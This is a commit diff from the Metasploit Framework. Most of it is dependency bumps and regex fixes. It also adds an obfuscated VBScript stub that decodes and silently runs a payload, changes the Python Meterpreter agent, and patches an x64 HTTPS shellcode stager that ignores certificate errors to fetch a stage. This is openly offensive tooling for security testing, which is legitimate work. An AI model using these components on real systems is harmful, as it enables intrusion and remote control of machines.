Merge branch 'rapid7' into bug/osx-mods-load-order
Conflicts: modules/post/windows/gather/enum_dirperms.rbbug/bundler_fix
commit
150f0f644e
|
@ -3,10 +3,7 @@
|
|||
.idea
|
||||
# Sublime Text project directory (not created by ST by default)
|
||||
.sublime-project
|
||||
# Portable ruby version files for rvm
|
||||
.ruby-gemset
|
||||
.ruby-version
|
||||
# RVM control file
|
||||
# RVM control file, keep this to avoid backdooring Metasploit
|
||||
.rvmrc
|
||||
# YARD cache directory
|
||||
.yardoc
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
metasploit-framework
|
|
@ -0,0 +1 @@
|
|||
ruby-1.9.3-p448
|
|
@ -15,4 +15,4 @@ notifications:
|
|||
irc: "irc.freenode.org#msfnotify"
|
||||
|
||||
git:
|
||||
depth: 1
|
||||
depth: 5
|
||||
|
|
7
Gemfile
7
Gemfile
|
@ -11,7 +11,7 @@ gem 'nokogiri'
|
|||
# Needed by anemone crawler
|
||||
gem 'robots'
|
||||
# Needed by db.rb and Msf::Exploit::Capture
|
||||
gem 'packetfu', '1.1.8'
|
||||
gem 'packetfu', '1.1.9'
|
||||
|
||||
group :db do
|
||||
# Needed for Msf::DbManager
|
||||
|
@ -41,7 +41,7 @@ group :development, :test do
|
|||
# 'FactoryGirl.' in factory definitions syntax.
|
||||
gem 'factory_girl', '>= 4.1.0'
|
||||
# running documentation generation tasks and rspec tasks
|
||||
gem 'rake'
|
||||
gem 'rake', '>= 10.0.0'
|
||||
end
|
||||
|
||||
group :test do
|
||||
|
@ -51,11 +51,10 @@ group :test do
|
|||
gem 'database_cleaner'
|
||||
# testing framework
|
||||
gem 'rspec', '>= 2.12'
|
||||
# add matchers from shoulda, such as query_the_database, which is useful for
|
||||
# testing that the Msf::DBManager activation is respected.
|
||||
gem 'shoulda-matchers'
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
||||
gem 'simplecov', '0.5.4', :require => false
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
|
|
66
Gemfile.lock
66
Gemfile.lock
|
@ -1,62 +1,58 @@
|
|||
GEM
|
||||
remote: http://rubygems.org/
|
||||
specs:
|
||||
activemodel (3.2.13)
|
||||
activesupport (= 3.2.13)
|
||||
activemodel (3.2.14)
|
||||
activesupport (= 3.2.14)
|
||||
builder (~> 3.0.0)
|
||||
activerecord (3.2.13)
|
||||
activemodel (= 3.2.13)
|
||||
activesupport (= 3.2.13)
|
||||
activerecord (3.2.14)
|
||||
activemodel (= 3.2.14)
|
||||
activesupport (= 3.2.14)
|
||||
arel (~> 3.0.2)
|
||||
tzinfo (~> 0.3.29)
|
||||
activesupport (3.2.13)
|
||||
i18n (= 0.6.1)
|
||||
activesupport (3.2.14)
|
||||
i18n (~> 0.6, >= 0.6.4)
|
||||
multi_json (~> 1.0)
|
||||
arel (3.0.2)
|
||||
bourne (1.4.0)
|
||||
mocha (~> 0.13.2)
|
||||
builder (3.0.4)
|
||||
database_cleaner (0.9.1)
|
||||
diff-lcs (1.2.2)
|
||||
database_cleaner (1.1.1)
|
||||
diff-lcs (1.2.4)
|
||||
factory_girl (4.2.0)
|
||||
activesupport (>= 3.0.0)
|
||||
i18n (0.6.1)
|
||||
json (1.7.7)
|
||||
metaclass (0.0.1)
|
||||
i18n (0.6.5)
|
||||
json (1.8.0)
|
||||
metasploit_data_models (0.16.6)
|
||||
activerecord (>= 3.2.13)
|
||||
activesupport
|
||||
pg
|
||||
mocha (0.13.3)
|
||||
metaclass (~> 0.0.1)
|
||||
msgpack (0.5.4)
|
||||
mini_portile (0.5.1)
|
||||
msgpack (0.5.5)
|
||||
multi_json (1.0.4)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.5.9)
|
||||
packetfu (1.1.8)
|
||||
nokogiri (1.6.0)
|
||||
mini_portile (~> 0.5.0)
|
||||
packetfu (1.1.9)
|
||||
pcaprub (0.11.3)
|
||||
pg (0.15.1)
|
||||
rake (10.0.4)
|
||||
redcarpet (2.2.2)
|
||||
pg (0.16.0)
|
||||
rake (10.1.0)
|
||||
redcarpet (3.0.0)
|
||||
robots (0.10.1)
|
||||
rspec (2.13.0)
|
||||
rspec-core (~> 2.13.0)
|
||||
rspec-expectations (~> 2.13.0)
|
||||
rspec-mocks (~> 2.13.0)
|
||||
rspec-core (2.13.1)
|
||||
rspec-expectations (2.13.0)
|
||||
rspec (2.14.1)
|
||||
rspec-core (~> 2.14.0)
|
||||
rspec-expectations (~> 2.14.0)
|
||||
rspec-mocks (~> 2.14.0)
|
||||
rspec-core (2.14.5)
|
||||
rspec-expectations (2.14.2)
|
||||
diff-lcs (>= 1.1.3, < 2.0)
|
||||
rspec-mocks (2.13.0)
|
||||
shoulda-matchers (1.5.2)
|
||||
rspec-mocks (2.14.3)
|
||||
shoulda-matchers (2.3.0)
|
||||
activesupport (>= 3.0.0)
|
||||
bourne (~> 1.3)
|
||||
simplecov (0.5.4)
|
||||
multi_json (~> 1.0.3)
|
||||
simplecov-html (~> 0.5.3)
|
||||
simplecov-html (0.5.3)
|
||||
timecop (0.6.1)
|
||||
timecop (0.6.3)
|
||||
tzinfo (0.3.37)
|
||||
yard (0.8.5.2)
|
||||
yard (0.8.7)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
@ -71,10 +67,10 @@ DEPENDENCIES
|
|||
msgpack
|
||||
network_interface (~> 0.0.1)
|
||||
nokogiri
|
||||
packetfu (= 1.1.8)
|
||||
packetfu (= 1.1.9)
|
||||
pcaprub
|
||||
pg (>= 0.11)
|
||||
rake
|
||||
rake (>= 10.0.0)
|
||||
redcarpet
|
||||
robots
|
||||
rspec (>= 2.12)
|
||||
|
|
4
HACKING
4
HACKING
|
@ -9,8 +9,8 @@ Code Style
|
|||
In order to maintain consistency and readability, we ask that you
|
||||
adhere to the following style guidelines:
|
||||
|
||||
- Hard tabs, not spaces
|
||||
- Try to keep your lines under 100 columns (assuming four-space tabs)
|
||||
- Standard Ruby two-space soft tabs, not hard tabs.
|
||||
- Try to keep your lines under 100 columns (assuming two-space tabs)
|
||||
- do; end instead of {} for a block
|
||||
- Always use str[0,1] instead of str[0]
|
||||
(This avoids a known ruby 1.8/1.9 incompatibility.)
|
||||
|
|
|
@ -0,0 +1,49 @@
|
|||
echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
|
||||
echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
|
||||
echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
|
||||
echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
|
||||
echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
|
||||
echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
|
||||
echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
|
||||
echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
|
||||
echo Set wshShell = CreateObject(scriptShell) >>decode_stub
|
||||
echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
|
||||
echo Set fs = CreateObject(scriptingFS) >>decode_stub
|
||||
echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
|
||||
echo If file.Size Then >>decode_stub
|
||||
echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
|
||||
echo data = fd.ReadAll >>decode_stub
|
||||
echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
|
||||
echo data = Replace(data, vbCrLf, nil) >>decode_stub
|
||||
echo data = base64_decode(data) >>decode_stub
|
||||
echo fd.Close >>decode_stub
|
||||
echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
|
||||
echo ofs.Write data >>decode_stub
|
||||
echo ofs.close >>decode_stub
|
||||
echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo Wscript.Echo emptyString >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo Function base64_decode(byVal strIn) >>decode_stub
|
||||
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
|
||||
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
|
||||
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
|
||||
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
|
||||
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
|
||||
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
|
||||
echo If Not w2 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
|
||||
echo If Not w3 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
|
||||
echo If Not w4 Then _ >>decode_stub
|
||||
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
|
||||
echo Next >>decode_stub
|
||||
echo base64_decode = strOut >>decode_stub
|
||||
echo End Function >>decode_stub
|
||||
echo Function mimedecode(byVal strIn) >>decode_stub
|
||||
echo If Len(strIn) = 0 Then >>decode_stub
|
||||
echo mimedecode = -1 : Exit Function >>decode_stub
|
||||
echo Else >>decode_stub
|
||||
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
|
||||
echo End If >>decode_stub
|
||||
echo End Function >>decode_stub
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -580,20 +580,28 @@ def stdapi_fs_delete_file(request, response):
|
|||
@meterpreter.register_function
|
||||
def stdapi_fs_file_expand_path(request, response):
|
||||
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
if path_tlv == '%COMSPEC%':
|
||||
if platform.system() == 'Windows':
|
||||
result = 'cmd.exe'
|
||||
else:
|
||||
result = '/bin/sh'
|
||||
elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows':
|
||||
if has_windll:
|
||||
path_out = (ctypes.c_char * 4096)()
|
||||
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
|
||||
result = ''.join(path_out)[:path_out_len]
|
||||
elif path_tlv == '%COMSPEC%':
|
||||
result = '/bin/sh'
|
||||
elif path_tlv in ['%TEMP%', '%TMP%']:
|
||||
result = '/tmp'
|
||||
else:
|
||||
result = os.getenv(path_tlv)
|
||||
result = os.getenv(path_tlv, path_tlv)
|
||||
if not result:
|
||||
return ERROR_FAILURE, response
|
||||
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_file_move(request, response):
|
||||
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
|
||||
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
os.rename(oldname, newname)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_getwd(request, response):
|
||||
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
|
||||
|
@ -622,7 +630,7 @@ def stdapi_fs_md5(request, response):
|
|||
m = hashlib.md5()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
@ -669,7 +677,7 @@ def stdapi_fs_sha1(request, response):
|
|||
m = hashlib.sha1()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
|
|
Binary file not shown.
Binary file not shown.
|
@ -145,8 +145,9 @@ class STDProcessBuffer(threading.Thread):
|
|||
self.data_lock.acquire()
|
||||
self.data += byte
|
||||
self.data_lock.release()
|
||||
data = self.std.read()
|
||||
self.data_lock.acquire()
|
||||
self.data += self.std.read()
|
||||
self.data += data
|
||||
self.data_lock.release()
|
||||
|
||||
def is_read_ready(self):
|
||||
|
@ -208,7 +209,7 @@ class PythonMeterpreter(object):
|
|||
|
||||
def run(self):
|
||||
while self.running:
|
||||
if len(select.select([self.socket], [], [], 0)[0]):
|
||||
if len(select.select([self.socket], [], [], 0.5)[0]):
|
||||
request = self.socket.recv(8)
|
||||
if len(request) != 8:
|
||||
break
|
||||
|
@ -391,13 +392,17 @@ class PythonMeterpreter(object):
|
|||
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
|
||||
resp += tlv_pack(reqid_tlv)
|
||||
|
||||
if method_tlv['value'] in self.extension_functions:
|
||||
handler = self.extension_functions[method_tlv['value']]
|
||||
handler_name = method_tlv['value']
|
||||
if handler_name in self.extension_functions:
|
||||
handler = self.extension_functions[handler_name]
|
||||
try:
|
||||
#print("[*] running method {0}".format(handler_name))
|
||||
result, resp = handler(request, resp)
|
||||
except Exception, err:
|
||||
#print("[-] method {0} resulted in an error".format(handler_name))
|
||||
result = ERROR_FAILURE
|
||||
else:
|
||||
#print("[-] method {0} was requested but does not exist".format(handler_name))
|
||||
result = ERROR_FAILURE
|
||||
resp += tlv_pack(TLV_TYPE_RESULT, result)
|
||||
resp = struct.pack('>I', len(resp) + 4) + resp
|
||||
|
|
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,8 @@
|
|||
aspnet_client/
|
||||
Autodiscover/
|
||||
ecp/
|
||||
EWS/
|
||||
Microsoft-Server-ActiveSync/
|
||||
OAB/
|
||||
PowerShell/
|
||||
Rpc/
|
|
@ -1,6 +1,7 @@
|
|||
;-----------------------------------------------------------------------------;
|
||||
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
|
||||
; Rewritten for x64 by agix
|
||||
; Modified to account for memory alignment by rwincey
|
||||
; Compatible: Windows 7
|
||||
; Architecture: x64
|
||||
;-----------------------------------------------------------------------------;
|
||||
|
@ -12,6 +13,7 @@
|
|||
|
||||
load_wininet:
|
||||
; setup the structures we need on the stack...
|
||||
push byte 0 ; alignment
|
||||
mov r14, 'wininet'
|
||||
push r14 ; Push the bytes 'wininet',0 onto the stack.
|
||||
mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call.
|
||||
|
@ -20,6 +22,7 @@ load_wininet:
|
|||
call rbp ; LoadLibraryA( "ws2_32" )
|
||||
|
||||
internetopen:
|
||||
push byte 0 ; alignment
|
||||
push byte 0 ; NULL pointer
|
||||
mov rcx, rsp ; LPCTSTR lpszAgent ("\x00")
|
||||
xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0)
|
||||
|
@ -74,6 +77,7 @@ retry:
|
|||
internetsetoption:
|
||||
mov rcx, rsi ; HINTERNET hInternet
|
||||
mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
|
||||
push byte 0 ; alignment
|
||||
push qword 0x00003380
|
||||
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
|
||||
|
@ -90,6 +94,7 @@ httpsendrequest:
|
|||
xor rdx, rdx ; LPCTSTR lpszHeaders
|
||||
xor r8, r8 ; DWORD dwHeadersLength
|
||||
xor r9, r9 ; LPVOID lpOptional
|
||||
push rdx ; alignment
|
||||
push rdx ; DWORD dwOptionalLength
|
||||
mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
|
||||
call rbp
|
||||
|
|
|
@ -776,10 +776,10 @@ class Disassembler
|
|||
def strings_scan(minlen=6)
|
||||
ret = []
|
||||
nexto = 0
|
||||
pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o|
|
||||
pattern_scan(/[\x20-\x7e]{#{minlen},}/nm, nil, 1024) { |o|
|
||||
if o - nexto > 0
|
||||
next unless e = get_edata_at(o)
|
||||
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m]
|
||||
str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/nm]
|
||||
ret << [o, str] if not block_given? or yield(o, str)
|
||||
nexto = o + str.length
|
||||
end
|
||||
|
|
|
@ -231,7 +231,7 @@ class HexWidget < DrawableWidget
|
|||
end
|
||||
if @show_ascii and d
|
||||
x = xa + d_o*@font_width
|
||||
d = d.gsub(/[^\x20-\x7e]/, '.')
|
||||
d = d.gsub(/[^\x20-\x7e]/n, '.')
|
||||
if wp.empty?
|
||||
render[d, :ascii]
|
||||
else
|
||||
|
@ -393,7 +393,7 @@ class HexWidget < DrawableWidget
|
|||
# pop a dialog, scans the sections for a hex pattern
|
||||
def prompt_search_hex
|
||||
inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat|
|
||||
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" }
|
||||
pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/ni) { |o| "\\x#{o}" }
|
||||
pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit
|
||||
list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] }
|
||||
listwindow("hex search #{pat}", list) { |i| focus_addr i[0] }
|
||||
|
|
|
@ -15,7 +15,7 @@ class Meterpreter_x86_Win < Msf::Sessions::Meterpreter
|
|||
def initialize(rstream,opts={})
|
||||
super
|
||||
self.platform = 'x86/win32'
|
||||
self.binary_suffix = 'dll'
|
||||
self.binary_suffix = 'x86.dll'
|
||||
end
|
||||
|
||||
def lookup_error(code)
|
||||
|
|
|
@ -93,8 +93,6 @@ module Auxiliary::AuthBrute
|
|||
next if @@credentials_skipped[fq_user]
|
||||
next if @@credentials_tried[fq_user] == p
|
||||
|
||||
datastore['USERNAME'] = u.to_s
|
||||
datastore['PASSWORD'] = p.to_s
|
||||
ret = block.call(u, p)
|
||||
|
||||
case ret
|
||||
|
|
|
@ -128,10 +128,10 @@ module Auxiliary::Login
|
|||
false
|
||||
end
|
||||
|
||||
def password_prompt?
|
||||
def password_prompt?(username=nil)
|
||||
return true if(@recvd =~ @password_regex)
|
||||
if datastore['USERNAME']
|
||||
return true if( !(datastore['USERNAME'].empty?) and @recvd =~ /#{datastore['USERNAME']}'s/)
|
||||
if username
|
||||
return true if( !(username.empty?) and @recvd =~ /#{username}'s/)
|
||||
end
|
||||
return false
|
||||
end
|
||||
|
|
|
@ -59,7 +59,7 @@ def get_nmap_ver
|
|||
nmap_cmd = [self.nmap_bin]
|
||||
nmap_cmd << "--version"
|
||||
res << %x{#{nmap_cmd.join(" ")}} rescue nil
|
||||
res.gsub(/[\x0d\x0a]/,"")
|
||||
res.gsub(/[\x0d\x0a]/n,"")
|
||||
end
|
||||
|
||||
# Takes a version string in the form of Major.Minor and compares to
|
||||
|
@ -68,16 +68,16 @@ end
|
|||
# Comparing an Integer is okay, though.
|
||||
def nmap_version_at_least?(test_ver=nil)
|
||||
raise ArgumentError, "Cannot compare a Float, use a String or Integer" if test_ver.kind_of? Float
|
||||
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/]
|
||||
unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/n]
|
||||
raise ArgumentError, "Bad Nmap comparison version: #{test_ver.inspect}"
|
||||
end
|
||||
test_ver_str = test_ver.to_s
|
||||
tnum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i}
|
||||
tnum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
|
||||
installed_ver = get_nmap_ver()
|
||||
vtag = installed_ver.split[2] # Should be ["Nmap", "version", "X.YZTAG", "(", "http..", ")"]
|
||||
return false if (vtag.nil? || vtag.empty?)
|
||||
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/) # Drop the tag.
|
||||
inum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i}
|
||||
return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/n) # Drop the tag.
|
||||
inum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i}
|
||||
return true if inum_arr[0] > tnum_arr[0]
|
||||
return false if inum_arr[0] < tnum_arr[0]
|
||||
inum_arr[1].to_i >= tnum_arr[1].to_i
|
||||
|
@ -228,7 +228,7 @@ def nmap_validate_arg(str)
|
|||
return false
|
||||
end
|
||||
# Check for commas outside of quoted arguments
|
||||
quoted_22 = /\x22[^\x22]*\x22/
|
||||
quoted_22 = /\x22[^\x22]*\x22/n
|
||||
requoted_str = str.gsub(/'/,"\"")
|
||||
if requoted_str.split(quoted_22).join[/,/]
|
||||
print_error "Malformed nmap arguments (unquoted comma): #{str}"
|
||||
|
|
|
@ -358,7 +358,7 @@ class DBManager
|
|||
opts.each { |k,v|
|
||||
if (host.attribute_names.include?(k.to_s))
|
||||
unless host.attribute_locked?(k.to_s)
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '')
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
|
||||
end
|
||||
else
|
||||
dlog("Unknown attribute for ::Mdm::Host: #{k}")
|
||||
|
@ -481,7 +481,7 @@ class DBManager
|
|||
|
||||
if (host.attribute_names.include?(k.to_s))
|
||||
unless host.attribute_locked?(k.to_s)
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/, '')
|
||||
host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '')
|
||||
end
|
||||
else
|
||||
dlog("Unknown attribute for Host: #{k}")
|
||||
|
@ -1536,12 +1536,12 @@ class DBManager
|
|||
if (token[0])
|
||||
# convert the token to US-ASCII from UTF-8 to prevent an error
|
||||
token[0] = token[0].unpack("C*").pack("C*")
|
||||
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||
token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||
end
|
||||
|
||||
if (token[1])
|
||||
token[1] = token[1].unpack("C*").pack("C*")
|
||||
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||
token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] }
|
||||
end
|
||||
|
||||
ret = {}
|
||||
|
@ -2853,7 +2853,7 @@ class DBManager
|
|||
return REXML::Document.new(data)
|
||||
rescue REXML::ParseException => e
|
||||
dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}")
|
||||
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/){ |x| "\\x%.2x" % x.unpack("C*")[0] })
|
||||
return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] })
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -3055,7 +3055,7 @@ class DBManager
|
|||
@import_filedata[:type] = "Appscan"
|
||||
return :appscan_xml
|
||||
when "entities"
|
||||
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/i
|
||||
if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/ni
|
||||
@import_filedata[:type] = "CI"
|
||||
return :ci_xml
|
||||
end
|
||||
|
@ -3342,8 +3342,8 @@ class DBManager
|
|||
def inspect_single_packet_http(pkt,wspace,task=nil)
|
||||
# First, check the server side (data from port 80).
|
||||
if pkt.is_tcp? and pkt.tcp_src == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
||||
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/
|
||||
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/)
|
||||
if pkt.payload =~ /^HTTP\x2f1\x2e[01]/n
|
||||
http_server_match = pkt.payload.match(/\nServer:\s+([^\r\n]+)[\r\n]/n)
|
||||
if http_server_match.kind_of?(MatchData) and http_server_match[1]
|
||||
report_service(
|
||||
:workspace => wspace,
|
||||
|
@ -3363,8 +3363,8 @@ class DBManager
|
|||
|
||||
# Next, check the client side (data to port 80)
|
||||
if pkt.is_tcp? and pkt.tcp_dst == 80 and !pkt.payload.nil? and !pkt.payload.empty?
|
||||
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/)
|
||||
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/)
|
||||
if pkt.payload.match(/[\x00-\x20]HTTP\x2f1\x2e[10]/n)
|
||||
auth_match = pkt.payload.match(/\nAuthorization:\s+Basic\s+([A-Za-z0-9=\x2b]+)/n)
|
||||
if auth_match.kind_of?(MatchData) and auth_match[1]
|
||||
b64_cred = auth_match[1]
|
||||
else
|
||||
|
@ -3476,7 +3476,7 @@ class DBManager
|
|||
data.each_line do |line|
|
||||
case line
|
||||
when /^[\s]*#/ # Comment lines
|
||||
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/]
|
||||
if line[/^#[\s]*([0-9.]+):([0-9]+)(\x2f(tcp|udp))?[\s]*(\x28([^\x29]*)\x29)?/n]
|
||||
addr = $1
|
||||
port = $2
|
||||
proto = $4
|
||||
|
@ -3492,7 +3492,7 @@ class DBManager
|
|||
user = ([nil, "<BLANK>"].include?($1)) ? "" : $1
|
||||
pass = ""
|
||||
ptype = "smb_hash"
|
||||
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/ # Must be a user pass
|
||||
when /^[\s]*([\x21-\x7f]+)[\s]+([\x21-\x7f]+)?/n # Must be a user pass
|
||||
user = ([nil, "<BLANK>"].include?($1)) ? "" : dehex($1)
|
||||
pass = ([nil, "<BLANK>"].include?($2)) ? "" : dehex($2)
|
||||
ptype = "password"
|
||||
|
@ -3531,7 +3531,7 @@ class DBManager
|
|||
|
||||
# If hex notation is present, turn them into a character.
|
||||
def dehex(str)
|
||||
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/)
|
||||
hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/n)
|
||||
hexen.each { |h|
|
||||
str.gsub!(h,h[2,2].to_i(16).chr)
|
||||
}
|
||||
|
@ -5039,7 +5039,7 @@ class DBManager
|
|||
next if r[0] != 'results'
|
||||
next if r[4] != "12053"
|
||||
data = r[6]
|
||||
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/)[1,2]
|
||||
addr,hname = data.match(/([0-9\x2e]+) resolves as (.+)\x2e\\n/n)[1,2]
|
||||
addr_map[hname] = addr
|
||||
end
|
||||
|
||||
|
@ -5160,7 +5160,7 @@ class DBManager
|
|||
# HostName
|
||||
host.elements.each('ReportItem') do |item|
|
||||
next unless item.elements['pluginID'].text == "12053"
|
||||
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/)[1]
|
||||
addr = item.elements['data'].text.match(/([0-9\x2e]+) resolves as/n)[1]
|
||||
